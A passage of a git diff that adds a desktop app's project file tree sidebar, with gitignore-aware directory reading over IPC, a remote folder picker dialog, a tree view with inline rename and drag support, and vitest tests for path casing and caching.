+    const result = await readProjectDir('C:\\repo\\src', 'C:\\repo')
+
+    expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
+    expect(gitRoot).toHaveBeenCalledWith('C:/repo')
+    expect(readFileDataUrl).toHaveBeenCalledWith('C:/repo/.gitignore')
+  })
+
+  it('filters gitignored entries when Windows path casing differs across IPC results', async () => {
+    gitRoot.mockResolvedValue('C:\\Repo')
+    readDir.mockImplementation(async path => {
+      if (path === 'c:\\repo\\src') {
+        return ok([
+          { name: 'debug.log', path: 'c:\\repo\\src\\debug.log', isDirectory: false },
+          { name: 'keep.ts', path: 'c:\\repo\\src\\keep.ts', isDirectory: false }
+        ])
+      }
+
+      if (path === 'C:/Repo') {
+        return ok([{ name: '.gitignore', path: 'C:/Repo/.gitignore', isDirectory: false }])
+      }
+
+      if (path === 'C:/Repo/src') {
+        return ok([])
+      }
+
+      return ok([])
+    })
+    readFileDataUrl.mockResolvedValue(dataUrl('src/*.log\n'))
+
+    const result = await readProjectDir('c:\\repo\\src', 'c:\\repo')
+
+    expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
+  })
+
+  it('does not fetch .gitignore contents when listings do not contain .gitignore', async () => {
+    gitRoot.mockResolvedValue('/repo')
+    readDir.mockImplementation(async path => {
+      if (path === '/repo/src') {
+        return ok([{ name: 'debug.log', path: '/repo/src/debug.log', isDirectory: false }])
+      }
+
+      return ok([])
+    })
+
+    const result = await readProjectDir('/repo/src', '/repo')
+
+    expect(result.entries.map(entry => entry.name)).toEqual(['debug.log'])
+    expect(readFileDataUrl).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/files/ipc.ts b/ui-desktop/src/app/right-sidebar/files/ipc.ts
new file mode 100644
index 000000000..5407af700
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/ipc.ts
@@ -0,0 +1,165 @@
+import ignore from 'ignore'
+
+import type { ClawCodexReadDirEntry, ClawCodexReadDirResult } from '@/global'
+import { desktopFsCacheKey, desktopGitRoot, readDesktopDir, readDesktopFileDataUrl } from '@/lib/desktop-fs'
+import { ALWAYS_EXCLUDED } from '@/lib/excluded-paths'
+
+export type ProjectTreeEntry = ClawCodexReadDirEntry
+
+interface GitignoreRule {
+  base: string
+  ig: ReturnType<typeof ignore>
+}
+
+const gitRootCache = new Map<string, Promise<string | null>>()
+const gitignoreCache = new Map<string, Promise<GitignoreRule | null>>()
+
+function decodeDataUrl(dataUrl: string) {
+  const match = dataUrl.match(/^data:[^,]*,(.*)$/)
+  const data = match?.[1] || ''
+  const isBase64 = dataUrl.slice(0, dataUrl.indexOf(',')).includes(';base64')
+
+  if (!isBase64) {
+    return decodeURIComponent(data)
+  }
+
+  const bytes = Uint8Array.from(atob(data), ch => ch.charCodeAt(0))
+
+  return new TextDecoder().decode(bytes)
+}
+
+function clean(path: string) {
+  return path.replace(/\\/g, '/').replace(/\/+$/, '') || '/'
+}
+
+// Windows path identity is case-insensitive. Fold only comparison keys so the
+// relative path returned below keeps the filesystem's original spelling;
+// POSIX paths remain case-sensitive.
+function comparisonPath(path: string) {
+  return /^[A-Za-z]:(?:\/|$)/.test(path) || path.startsWith('//') ? path.toLowerCase() : path
+}
+
+/** Strict POSIX-style relative path; null if `child` is not inside `root`. */
+function relativeTo(root: string, child: string) {
+  const r = clean(root)
+  const c = clean(child)
+  const rKey = comparisonPath(r)
+  const cKey = comparisonPath(c)
+
+  if (cKey === rKey) {
+    return ''
+  }
+
+  return cKey.startsWith(`${rKey}/`) ? c.slice(r.length + 1) : null
+}
+
+/** Repo-root → repo-root/a → repo-root/a/b → … for every dir between root and `dir`. */
+function ancestorDirs(root: string, dir: string) {
+  const r = clean(root)
+  const rel = relativeTo(r, dir)
+
+  if (rel === null || rel === '') {
+    return [r]
+  }
+
+  const dirs = [r]
+  let current = r
+
+  for (const part of rel.split('/').filter(Boolean)) {
+    current = `${current}/${part}`
+    dirs.push(current)
+  }
+
+  return dirs
+}
+
+async function gitRootFor(start: string) {
+  const key = `${desktopFsCacheKey()}:${clean(start)}`
+  let cached = gitRootCache.get(key)
+
+  if (!cached) {
+    cached = desktopGitRoot(clean(start))
+    gitRootCache.set(key, cached)
+  }
+
+  return cached
+}
+
+/** Read .gitignore at `dir` if it actually exists — never probe missing files. */
+async function readGitignore(dir: string): Promise<GitignoreRule | null> {
+  try {
+    const listing = await readDesktopDir(dir)
+
+    if (!listing.entries.some(e => e.name === '.gitignore' && !e.isDirectory)) {
+      return null
+    }
+
+    const text = decodeDataUrl(await readDesktopFileDataUrl(`${dir}/.gitignore`))
+
+    return { base: dir, ig: ignore().add(text) }
+  } catch {
+    return null
+  }
+}
+
+async function gitignoreFor(dir: string) {
+  const key = `${desktopFsCacheKey()}:${clean(dir)}`
+  let cached = gitignoreCache.get(key)
+
+  if (!cached) {
+    cached = readGitignore(clean(dir))
+    gitignoreCache.set(key, cached)
+  }
+
+  return cached
+}
+
+function ignoredBy(rules: GitignoreRule[], entry: ClawCodexReadDirEntry) {
+  return rules.some(rule => {
+    const rel = relativeTo(rule.base, entry.path)
+
+    if (rel === null || rel === '') {
+      return false
+    }
+
+    return rule.ig.ignores(entry.isDirectory ? `${rel}/` : rel)
+  })
+}
+
+async function filterIgnored(entries: ClawCodexReadDirEntry[], rootPath: string, dirPath: string) {
+  const root = await gitRootFor(rootPath)
+
+  if (!root) {
+    return entries
+  }
+
+  const rules = (await Promise.all(ancestorDirs(root, dirPath).map(gitignoreFor))).filter((r): r is GitignoreRule =>
+    Boolean(r)
+  )
+
+  return rules.length > 0 ? entries.filter(entry => !ignoredBy(rules, entry)) : entries
+}
+
+export async function readProjectDir(dirPath: string, rootPath = dirPath): Promise<ClawCodexReadDirResult> {
+  if (!window.clawcodexDesktop) {
+    return { entries: [], error: 'no-bridge' }
+  }
+
+  const result = await readDesktopDir(dirPath)
+  const entries = (result?.entries ?? []).filter(entry => !ALWAYS_EXCLUDED.has(entry.name))
+
+  return { ...result, entries: await filterIgnored(entries, rootPath, dirPath) }
+}
+
+export function clearProjectDirCache(rootPath?: string) {
+  if (!rootPath) {
+    gitRootCache.clear()
+    gitignoreCache.clear()
+
+    return
+  }
+
+  const key = `${desktopFsCacheKey()}:${clean(rootPath)}`
+  gitRootCache.delete(key)
+  gitignoreCache.delete(key)
+}
diff --git a/ui-desktop/src/app/right-sidebar/files/remote-picker.tsx b/ui-desktop/src/app/right-sidebar/files/remote-picker.tsx
new file mode 100644
index 000000000..85fe59bd3
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/remote-picker.tsx
@@ -0,0 +1,201 @@
+import { useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Dialog, DialogContent, DialogDescription, DialogTitle } from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { readDesktopDir, setDesktopFsRemotePicker } from '@/lib/desktop-fs'
+import { displayPath, pathLeaf } from '@/lib/display-path'
+import { cn } from '@/lib/utils'
+
+function clean(path: string) {
+  return path.replace(/\/+$/, '') || '/'
+}
+
+function parentDir(path: string) {
+  const value = clean(path)
+
+  if (value === '/') {
+    return '/'
+  }
+
+  const parent = value.slice(0, value.lastIndexOf('/'))
+
+  return parent || '/'
+}
+
+function pathName(path: string) {
+  return pathLeaf(path) || path
+}
+
+interface PendingSelection {
+  defaultPath: string
+  resolve: (paths: string[]) => void
+  title: string
+}
+
+export function RemoteFolderPicker() {
+  const { t } = useI18n()
+  const r = t.rightSidebar
+  const [pending, setPending] = useState<PendingSelection | null>(null)
+  const [currentPath, setCurrentPath] = useState('/')
+  const [entries, setEntries] = useState<Array<{ name: string; path: string }>>([])
+  const [error, setError] = useState<string | null>(null)
+  const [loading, setLoading] = useState(false)
+
+  useEffect(() => {
+    setDesktopFsRemotePicker({
+      selectPaths: options =>
+        new Promise(resolve => {
+          const defaultPath = clean(options?.defaultPath || '/')
+          setCurrentPath(defaultPath)
+          setPending({ defaultPath, resolve, title: options?.title || r.remotePickerTitle })
+        })
+    })
+
+    return () => setDesktopFsRemotePicker(null)
+  }, [r.remotePickerTitle])
+
+  useEffect(() => {
+    if (!pending) {
+      return
+    }
+
+    let active = true
+    setLoading(true)
+    setError(null)
+
+    void readDesktopDir(currentPath)
+      .then(result => {
+        if (!active) {
+          return
+        }
+
+        if (result.error) {
+          setError(result.error)
+          setEntries([])
+
+          return
+        }
+
+        setEntries(
+          result.entries.filter(entry => entry.isDirectory).map(entry => ({ name: entry.name, path: entry.path }))
+        )
+      })
+      .catch(err => {
+        if (active) {
+          setError(err instanceof Error ? err.message : String(err))
+          setEntries([])
+        }
+      })
+      .finally(() => {
+        if (active) {
+          setLoading(false)
+        }
+      })
+
+    return () => {
+      active = false
+    }
+  }, [currentPath, pending])
+
+  const crumbs = useMemo(() => {
+    const parts = clean(currentPath).split('/').filter(Boolean)
+    const out = [{ label: '/', path: '/' }]
+    let acc = ''
+
+    for (const part of parts) {
+      acc += `/${part}`
+      out.push({ label: part, path: acc })
+    }
+
+    return out
+  }, [currentPath])
+
+  const close = (paths: string[] = []) => {
+    pending?.resolve(paths)
+    setPending(null)
+    setEntries([])
+    setError(null)
+  }
+
+  return (
+    <Dialog onOpenChange={open => !open && close()} open={Boolean(pending)}>
+      <DialogContent
+        bodyClassName="flex min-h-0 flex-col gap-0 overflow-hidden p-0"
+        className="h-[min(36rem,calc(100vh-4rem))] max-w-lg"
+      >
+        <div className="shrink-0 border-b border-border/70 px-4 py-3">
+          <DialogTitle className="text-sm">{pending?.title || r.remotePickerTitle}</DialogTitle>
+          <DialogDescription className="mt-1 text-xs">{r.remotePickerDescription}</DialogDescription>
+        </div>
+
+        <div className="flex min-h-0 flex-1 flex-col">
+          <div className="shrink-0 flex flex-wrap items-center gap-1 border-b border-border/50 px-3 py-2 text-xs text-muted-foreground">
+            {crumbs.map((crumb, index) => (
+              <button
+                className={cn(
+                  'rounded px-1.5 py-0.5 hover:bg-muted hover:text-foreground',
+                  index === crumbs.length - 1 && 'text-foreground'
+                )}
+                key={crumb.path}
+                onClick={() => setCurrentPath(crumb.path)}
+                type="button"
+              >
+                {crumb.label}
+              </button>
+            ))}
+          </div>
+
+          <div className="min-h-0 flex-1 overflow-y-auto p-2">
+            <FolderRow
+              disabled={currentPath === '/'}
+              name=".."
+              onClick={() => setCurrentPath(parentDir(currentPath))}
+            />
+            {loading ? (
+              <div className="flex items-center gap-2 px-2 py-3 text-xs text-muted-foreground">
+                <Codicon name="loading" size="0.8rem" spinning />
+                {r.loadingFiles}
+              </div>
+            ) : error ? (
+              <div className="px-2 py-3 text-xs text-destructive">{r.unreadableBody(error)}</div>
+            ) : entries.length === 0 ? (
+              <div className="px-2 py-3 text-xs text-muted-foreground">{r.emptyBody}</div>
+            ) : (
+              entries.map(entry => (
+                <FolderRow key={entry.path} name={pathName(entry.path)} onClick={() => setCurrentPath(entry.path)} />
+              ))
+            )}
+          </div>
+        </div>
+
+        <div className="shrink-0 flex items-center justify-between gap-2 border-t border-border/70 px-4 py-3">
+          <div className="min-w-0 truncate text-xs text-muted-foreground">{displayPath(currentPath)}</div>
+          <div className="flex shrink-0 items-center gap-2">
+            <Button onClick={() => close()} size="sm" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button onClick={() => close([currentPath])} size="sm">
+              {r.remotePickerSelect}
+            </Button>
+          </div>
+        </div>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function FolderRow({ disabled = false, name, onClick }: { disabled?: boolean; name: string; onClick: () => void }) {
+  return (
+    <button
+      className="row-hover flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-(--ui-text-secondary) hover:text-foreground disabled:pointer-events-none disabled:opacity-40"
+      disabled={disabled}
+      onClick={onClick}
+      type="button"
+    >
+      <Codicon name="folder" size="0.875rem" />
+      <span className="min-w-0 truncate">{name}</span>
+    </button>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/files/tree-sizing.test.ts b/ui-desktop/src/app/right-sidebar/files/tree-sizing.test.ts
new file mode 100644
index 000000000..04e8a8bb4
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/tree-sizing.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { projectTreeViewportSize } from './tree'
+
+describe('projectTreeViewportSize', () => {
+  it('uses ResizeObserver contentRect without forcing another layout read', () => {
+    const element = document.createElement('div')
+    const getBoundingClientRect = vi.spyOn(element, 'getBoundingClientRect')
+    const contentRect = { height: 480, width: 320 } as DOMRectReadOnly
+
+    expect(
+      projectTreeViewportSize([{ contentRect, target: element } as unknown as ResizeObserverEntry], element)
+    ).toEqual({
+      height: 480,
+      width: 320
+    })
+    expect(getBoundingClientRect).not.toHaveBeenCalled()
+  })
+
+  it('falls back to a rect when ResizeObserver is unavailable', () => {
+    const element = document.createElement('div')
+    vi.spyOn(element, 'getBoundingClientRect').mockReturnValue({
+      height: 240,
+      width: 160
+    } as DOMRect)
+
+    expect(projectTreeViewportSize([], element)).toEqual({ height: 240, width: 160 })
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/files/tree.tsx b/ui-desktop/src/app/right-sidebar/files/tree.tsx
new file mode 100644
index 000000000..112a2a934
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/tree.tsx
@@ -0,0 +1,384 @@
+import { useStore } from '@nanostores/react'
+import { type KeyboardEvent as ReactKeyboardEvent, useCallback, useEffect, useRef, useState } from 'react'
+import { useMemo } from 'react'
+import { type NodeApi, type NodeRendererProps, type RowRendererProps, Tree, type TreeApi } from 'react-arborist'
+
+import { TreeSkeleton } from '@/components/chat/skeletons'
+import { Codicon } from '@/components/ui/codicon'
+import { markRightPanePerf } from '@/debug/right-pane-events'
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { cn } from '@/lib/utils'
+import { type RepoChangeKind, repoChangeKindForPath } from '@/store/coding-status'
+import { $renamingPath, beginInlineRename } from '@/store/file-actions'
+import { $revealInTreeRequest } from '@/store/layout'
+
+import { FileEntryContextMenu, InlineRenameInput, isRenameShortcut } from '../file-actions'
+
+import { getFileTreeDndManager } from './dnd-manager'
+import type { TreeNode } from './use-project-tree'
+
+const ROW_HEIGHT = 22
+const INDENT = 10
+/** Fixed base inset (`px-6.5`) layered on top of arborist's depth indent. */
+const TREE_ROW_INSET = '17px'
+
+function withTreeInset(paddingLeft: number | string | undefined): string {
+  if (typeof paddingLeft === 'number') {
+    return `calc(${paddingLeft}px + ${TREE_ROW_INSET})`
+  }
+
+  if (!paddingLeft) {
+    return TREE_ROW_INSET
+  }
+
+  return `calc(${paddingLeft} + ${TREE_ROW_INSET})`
+}
+
+interface ProjectTreeProps {
+  collapseNonce: number
+  cwd: string
+  data: TreeNode[]
+  onActivateFile: (path: string) => void
+  onActivateFolder: (path: string) => void
+  onLoadChildren: (id: string) => void | Promise<void>
+  onNodeOpenChange: (id: string, open: boolean) => void
+  onPreviewFile?: (path: string) => void
+  openState: Record<string, boolean>
+}
+
+export function ProjectTree({
+  collapseNonce,
+  cwd,
+  data,
+  onActivateFile,
+  onActivateFolder,
+  onLoadChildren,
+  onNodeOpenChange,
+  onPreviewFile,
+  openState
+}: ProjectTreeProps) {
+  markRightPanePerf('project-tree-render')
+
+  const containerRef = useRef<HTMLDivElement | null>(null)
+  const treeRef = useRef<TreeApi<TreeNode> | null>(null)
+  const [size, setSize] = useState({ height: 0, width: 0 })
+
+  const syncTreeSize = useCallback((entries: readonly ResizeObserverEntry[]) => {
+    const el = containerRef.current
+
+    if (!el) {
+      return
+    }
+
+    const { height, width } = projectTreeViewportSize(entries, el)
+
+    setSize(prev => {
+      if (prev.height === height && prev.width === width) {
+        return prev
+      }
+
+      return { height, width }
+    })
+  }, [])
+
+  useResizeObserver(syncTreeSize, containerRef)
+
+  const handleToggle = useCallback(
+    (id: string) => {
+      const node = treeRef.current?.get(id)
+
+      if (!node) {
+        return
+      }
+
+      onNodeOpenChange(id, node.isOpen)
+
+      if (node.isOpen && node.data?.isDirectory && node.data.children === undefined) {
+        void onLoadChildren(id)
+      }
+    },
+    [onLoadChildren, onNodeOpenChange]
+  )
+
+  // "Reveal in side bar": expand each ancestor folder top-down (lazy-loading its
+  // children first so the node exists), then select + scroll to the target. The
+  // pane is opened by the caller; this drives the tree to the file.
+  const revealNode = useCallback(
+    async (absPath: string) => {
+      const root = cwd.replace(/[\\/]+$/, '')
+      const target = absPath.replace(/[\\/]+$/, '')
+      const rel = target.startsWith(root) ? target.slice(root.length).replace(/^[\\/]+/, '') : ''
+      const segments = rel.split(/[\\/]/).filter(Boolean)
+
+      let acc = root
+
+      for (let i = 0; i < segments.length - 1; i += 1) {
+        acc = `${acc}/${segments[i]}`
+        const node = treeRef.current?.get(acc)
+
+        if (node?.data?.isDirectory && node.data.children === undefined) {
+          await onLoadChildren(acc)
+        }
+
+        onNodeOpenChange(acc, true)
+        treeRef.current?.open(acc)
+        await new Promise(resolve => requestAnimationFrame(() => resolve(undefined)))
+      }
+
+      treeRef.current?.select(target)
+      // 'start' lands the file at/near the top (instant — arborist sets scrollTop
+      // directly, no smooth scroll).
+      treeRef.current?.scrollTo(target, 'start')
+    },
+    [cwd, onLoadChildren, onNodeOpenChange]
+  )
+
+  useEffect(
+    () =>
+      $revealInTreeRequest.subscribe(path => {
+        if (!path) {
+          return
+        }
+
+        $revealInTreeRequest.set(null)
+        void revealNode(path)
+      }),
+    [revealNode]
+  )
+
+  const handleActivate = useCallback(
+    (node: NodeApi<TreeNode>) => {
+      // arborist fires onActivate on click/dblclick/Enter — independent of the
+      // row's own handlers. Suppress it for the row being renamed so the
+      // context-menu "Rename" (and its fall-through) can't open the preview.
+      if (node.data && !node.data.isDirectory && $renamingPath.get() !== node.data.id) {
+        onPreviewFile?.(node.data.id)
+      }
+    },
+    [onPreviewFile]
+  )
+
+  // F2 / Enter on the selected row begins an inline rename. Capture-phase so it
+  // beats arborist's own Enter-to-activate; skipped while an edit is in progress
+  // (the editor input owns Enter/Esc then) and for placeholder rows.
+  const handleRenameShortcut = useCallback((event: ReactKeyboardEvent<HTMLDivElement>) => {
+    if (!isRenameShortcut(event) || $renamingPath.get()) {
+      return
+    }
+
+    const node = treeRef.current?.selectedNodes?.[0]
+
+    if (!node?.data || node.data.placeholder) {
+      return
+    }
+
+    event.preventDefault()
+    event.stopPropagation()
+    beginInlineRename(node.data.id)
+  }, [])
+
+  return (
+    <div
+      className="min-h-0 flex-1 overflow-hidden"
+      data-project-tree=""
+      onKeyDownCapture={handleRenameShortcut}
+      ref={containerRef}
+    >
+      {size.height > 0 && size.width > 0 ? (
+        <Tree<TreeNode>
+          childrenAccessor={node => (node?.isDirectory ? (node.children ?? []) : null)}
+          data={data}
+          disableDrag
+          disableDrop
+          disableEdit
+          dndManager={getFileTreeDndManager()}
+          height={size.height}
+          indent={INDENT}
+          initialOpenState={openState}
+          key={`${cwd}:${collapseNonce}`}
+          onActivate={handleActivate}
+          onToggle={handleToggle}
+          openByDefault={false}
+          padding={0}
+          ref={treeRef}
+          renderRow={ProjectTreeRowContainer}
+          rowHeight={ROW_HEIGHT}
+          width={size.width}
+        >
+          {props => (
+            <ProjectTreeRow
+              {...props}
+              onAttachFile={onActivateFile}
+              onAttachFolder={onActivateFolder}
+              onPreviewFile={onPreviewFile}
+              relativeTo={cwd}
+            />
+          )}
+        </Tree>
+      ) : (
+        <TreeSizingState />
+      )}
+    </div>
+  )
+}
+
+export function projectTreeViewportSize(
+  entries: readonly ResizeObserverEntry[],
+  element: HTMLElement
+): { height: number; width: number } {
+  const entry = entries.find(item => item.target === element)
+  const box = entry?.contentRect ?? element.getBoundingClientRect()
+
+  return { height: box.height, width: box.width }
+}
+
+function TreeSizingState() {
+  return <TreeSkeleton />
+}
+
+// arborist's default row hardcodes `min-width: max-content` (so a highlight can
+// span horizontally-scrolled content), which grows the row to its full name
+// width and defeats the inner `truncate`. We don't scroll sideways — pin the row
+// to the viewport so long names ellipsize instead of clipping at the pane edge.
+function ProjectTreeRowContainer({ attrs, children, innerRef, node }: RowRendererProps<TreeNode>) {
+  return (
+    <div
+      {...attrs}
+      onClick={node.handleClick}
+      onFocus={e => e.stopPropagation()}
+      ref={innerRef}
+      style={{ ...attrs.style, minWidth: 0, width: '100%' }}
+    >
+      {children}
+    </div>
+  )
+}
+
+const CHANGE_TINT: Record<RepoChangeKind, string> = {
+  added: 'text-(--ui-green)',
+  conflicted: 'text-(--ui-red)',
+  modified: 'text-(--ui-yellow)'
+}
+
+function ProjectTreeRow({
+  dragHandle,
+  node,
+  onAttachFile,
+  onAttachFolder,
+  onPreviewFile,
+  relativeTo,
+  style
+}: NodeRendererProps<TreeNode> & {
+  onAttachFile: (path: string) => void
+  onAttachFolder: (path: string) => void
+  onPreviewFile?: (path: string) => void
+  relativeTo?: null | string
+}) {
+  const renamingPath = useStore($renamingPath)
+  const path = node.data?.id ?? ''
+  const changeStore = useMemo(() => repoChangeKindForPath(path), [path])
+  const changeKind: RepoChangeKind | undefined = useStore(changeStore)
+
+  markRightPanePerf('project-tree-row-render', path)
+
+  if (!node.data) {
+    return <div style={style} />
+  }
+
+  const isFolder = node.data.isDirectory
+  const isPlaceholder = Boolean(node.data.placeholder)
+  const isErrorPlaceholder = node.data.placeholder === 'error'
+  const editing = !isPlaceholder && renamingPath === node.data.id
+
+  const row = (
+    <div
+      aria-expanded={isFolder ? node.isOpen : undefined}
+      aria-selected={node.isSelected}
+      className={cn(
+        'group/row row-hover flex h-full select-none items-center gap-1 border border-transparent px-3 text-xs font-normal leading-(--file-tree-row-height) text-(--ui-text-secondary) hover:text-foreground',
+        node.isSelected && 'bg-(--ui-row-active-background) text-foreground',
+        isPlaceholder && 'pointer-events-none italic text-muted-foreground/70'
+      )}
+      draggable={!isPlaceholder && !editing}
+      onClick={event => {
+        event.stopPropagation()
+
+        // Read the rename atom LIVE (not the render closure): the fall-through
+        // click from a context-menu close can fire before the editing re-render
+        // commits, so a stale closure would still select/activate and yank focus.
+        if (isPlaceholder || $renamingPath.get() === node.data.id) {
+          return
+        }
+
+        if (event.shiftKey) {
+          ;(isFolder ? onAttachFolder : onAttachFile)(node.data.id)
+
+          return
+        }
+
+        if (isFolder) {
+          node.toggle()
+        } else {
+          node.select()
+        }
+      }}
+      onDoubleClick={event => {
+        event.stopPropagation()
+
+        if (!isFolder && !isPlaceholder && $renamingPath.get() !== node.data.id) {
+          onPreviewFile?.(node.data.id)
+        }
+      }}
+      onDragStart={event => {
+        if (isPlaceholder || $renamingPath.get() === node.data.id) {
+          event.preventDefault()
+
+          return
+        }
+
+        const payload = JSON.stringify([{ isDirectory: isFolder, path: node.data.id }])
+
+        event.dataTransfer.effectAllowed = 'copy'
+        event.dataTransfer.setData('application/x-clawcodex-paths', payload)
+        event.dataTransfer.setData('text/plain', node.data.id)
+      }}
+      ref={dragHandle}
+      style={{
+        ...style,
+        paddingLeft: withTreeInset(style.paddingLeft)
+      }}
+      title={node.data.id}
+    >
+      {/* No chevron column — the folder icon (open/closed) already carries the
+          expand state, so the extra glyph was pure noise. */}
+      <span aria-hidden className="flex w-3.5 items-center justify-center text-(--ui-text-tertiary)">
+        {isPlaceholder && !isErrorPlaceholder ? (
+          <Codicon name="loading" size="0.75rem" spinning />
+        ) : isErrorPlaceholder ? (
+          <Codicon name="warning" size="0.75rem" />
+        ) : isFolder ? (
+          <Codicon name={node.isOpen ? 'folder-opened' : 'folder'} size="0.875rem" />
+        ) : (
+          <Codicon name="file" size="0.875rem" />
+        )}
+      </span>
+      {editing ? (
+        <InlineRenameInput name={node.data.name} path={node.data.id} />
+      ) : (
+        // Git decoration (VS Code-style): tint changed files; the explicit color
+        // wins over the row's hover/selected text color, so it persists.
+        <span className={cn('min-w-0 flex-1 truncate', changeKind && CHANGE_TINT[changeKind])}>{node.data.name}</span>
+      )}
+    </div>
+  )
+
+  if (isPlaceholder) {
+    return row
+  }
+
+  return (
+    <FileEntryContextMenu isDirectory={isFolder} name={node.data.name} path={node.data.id} relativeTo={relativeTo}>
+      {row}
+    </FileEntryContextMenu>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/files/use-project-tree.test.ts b/ui-desktop/src/app/right-sidebar/files/use-project-tree.test.ts
new file mode 100644
index 000000000..f259bfd5a
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/files/use-project-tree.test.ts
@@ -0,0 +1,272 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexReadDirResult } from '@/global'
+import { $connection } from '@/store/session'
+
+import { clearProjectDirCache, readProjectDir } from './ipc'
+import { resetProjectTreeState, useProjectTree } from './use-project-tree'
+
+const readDir = vi.fn<(path: string) => Promise<ClawCodexReadDirResult>>()
+
+beforeEach(() => {
+  $connection.set(null)
+  resetProjectTreeState()
+  readDir.mockReset()
+  ;(window as unknown as { clawcodexDesktop: { readDir: typeof readDir } }).clawcodexDesktop = { readDir }
+})
+
+afterEach(() => {
+  cleanup()
+  $connection.set(null)
+  resetProjectTreeState()
+  delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+})
+
+function ok(entries: { name: string; path: string; isDirectory: boolean }[]): ClawCodexReadDirResult {
+  return { entries }
+}
+
+describe('useProjectTree', () => {
+  it('starts empty when cwd is blank and skips IPC', async () => {
+    const { result } = renderHook(() => useProjectTree(''))
+
+    await waitFor(() => expect(result.current.rootLoading).toBe(false))
+
+    expect(result.current.data).toEqual([])
+    expect(result.current.rootError).toBeNull()
+    expect(readDir).not.toHaveBeenCalled()
+  })
+
+  it('loads root entries on mount and sorts folders before files', async () => {
+    readDir.mockResolvedValueOnce(
+      ok([
+        { name: 'README.md', path: '/p/README.md', isDirectory: false },
+        { name: 'src', path: '/p/src', isDirectory: true }
+      ])
+    )
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(2))
+
+    expect(readDir).toHaveBeenCalledWith('/p')
+    // Hook trusts main-process sort order; folders/files preserved as supplied.
+    expect(result.current.data.map(n => n.name)).toEqual(['README.md', 'src'])
+    // Folder children start undefined (lazy load on first expand).
+    expect(result.current.data.find(n => n.name === 'src')?.children).toBeUndefined()
+    expect(result.current.data.find(n => n.name === 'src')?.isDirectory).toBe(true)
+    expect(result.current.data.find(n => n.name === 'README.md')?.isDirectory).toBe(false)
+  })
+
+  it('records rootError when readDir returns an error', async () => {
+    readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
+
+    const { result } = renderHook(() => useProjectTree('/locked'))
+
+    await waitFor(() => expect(result.current.rootError).toBe('EACCES'))
+    expect(result.current.data).toEqual([])
+  })
+
+  it('lazy-loads children on loadChildren and replaces the placeholder', async () => {
+    readDir.mockResolvedValueOnce(ok([{ name: 'src', path: '/p/src', isDirectory: true }]))
+    readDir.mockResolvedValueOnce(
+      ok([
+        { name: 'index.ts', path: '/p/src/index.ts', isDirectory: false },
+        { name: 'lib', path: '/p/src/lib', isDirectory: true }
+      ])
+    )
+
+    const { result } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(1))
+
+    await act(async () => {
+      await result.current.loadChildren('/p/src')
+    })
+
+    const src = result.current.data[0]
+    expect(src.children?.map(n => n.name)).toEqual(['index.ts', 'lib'])
+    expect(src.loading).toBe(false)
+    expect(src.error).toBeUndefined()
+  })
+
+  it('keeps loaded tree state across remounts for the same cwd', async () => {
+    readDir.mockResolvedValueOnce(ok([{ name: 'src', path: '/p/src', isDirectory: true }]))
+
+    const { result, unmount } = renderHook(() => useProjectTree('/p'))
+
+    await waitFor(() => expect(result.current.data.length).toBe(1))
+
+    act(() => {
+      result.current.setNodeOpen('/p/src', true)
+    })
+
+    unmount()
+
+    const remounted = renderHook(() => useProjectTree('/p'))
+
+    expect(remounted.result.current.data.map(n => n.name)).toEqual(['src'])
+    expect(remounted.result.current.openState).toEqual({ '/p/src': true })
+    expect(readDir).toHaveBeenCalledTimes(1)
+  })
+
+  it('reads gitignore from the real path while caching per connection', async () => {
+    const readFileDataUrl = vi.fn(async () => `data:text/plain;base64,${btoa('ignored.log\n')}`)
+    const gitRoot = vi.fn(async () => '/repo')
+    readDir.mockImplementation(async path => {
+      if (path === '/repo') {
+        return ok([{ name: '.gitignore', path: '/repo/.gitignore', isDirectory: false }])
+      }
+
+      if (path === '/repo/src') {
+        return ok([
+          { name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false },
+          { name: 'ignored.log', path: '/repo/src/ignored.log', isDirectory: false }
+        ])
+      }
+
+      throw new Error(`unexpected path ${path}`)
+    })
+    ;(window as unknown as { clawcodexDesktop: unknown }).clawcodexDesktop = { gitRoot, readDir, readFileDataUrl }
+
+    $connection.set({ baseUrl: 'local-a', mode: 'local' } as never)
+    await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+      entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+    })
+    expect(readDir).toHaveBeenCalledWith('/repo')
+    expect(readDir).not.toHaveBeenCalledWith(expect.stringContaining('local-a'))
+
+    $connection.set({ baseUrl: 'local-b', mode: 'local' } as never)
+    clearProjectDirCache()
+    await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+      entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+    })
+    expect(readDir.mock.calls.filter(([path]) => path === '/repo')).toHaveLength(2)
+  })
+
+  it('captures per-folder error code and shows an error placeholder child', async () => {
